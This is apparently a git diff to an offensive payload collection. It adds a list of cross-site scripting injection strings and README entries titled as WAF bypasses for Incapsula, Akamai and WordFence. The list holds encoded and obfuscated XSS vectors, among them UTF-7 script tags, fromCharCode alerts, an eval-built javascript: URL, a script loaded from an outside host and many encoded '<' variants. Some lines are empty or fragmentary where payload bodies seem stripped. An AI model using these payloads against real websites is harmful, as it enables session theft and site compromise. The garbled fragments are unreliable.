++ADw-script+AD4-alert(+ACc-xss+ACc-)+ADw-+AC8-script+AD4- +<%00script>alert(‘XSS’)<%00/script> +<%script>alert(‘XSS’)<%/script> +<%tag style=”xss:expression(alert(‘XSS’))”> +<%tag onmouseover="(alert('XSS'))"> is invalid. <%br /> + +';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'> +'';!--"=&{()} + + + + + +"> + + + + + + + + + + + + +< + +\";alert('XSS');// + + + + + + + +
+ + + + + + + +
  • XSS + +¼script¾alert(¢XSS¢)¼/script¾ + + + + + + +
    +
    +
    +
    +
    + + + +exp/* + + + + + + + + + +a="get"; +b="URL(\""; +c="javascript:"; +d="alert('XSS');\")"; +eval(a+b+c+d); + + + XSS + +]]> + +<IMG SRC="javascript:alert('XSS')"> + + + + + + + + + + +alert("XSS")'); ?> + + +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + + + + + + +PT SRC="http://ha.ckers.org/xss.js"> +XSS +XSS +XSS +< +%3C +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +< +\x3c +\x3C +\u003c +\u003C diff --git a/XSS injection/README.md b/XSS injection/README.md index 06f14fd..35321d8 100644 --- a/XSS injection/README.md +++ b/XSS injection/README.md @@ -754,12 +754,24 @@ anythinglr00uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` -### Akamai WAF bypass by @zseano - 18th june +### Incapsula WAF Bypass - 11th september + +```javascript + +``` + +### Akamai WAF Bypass by @zseano - 18th june ```javascript ?"> ``` +### WordFence WAF Bypass by @brutelogic - 12th september + +```javascript + +``` + ## More fun This section will be used for the "fun/interesting/useless" stuff.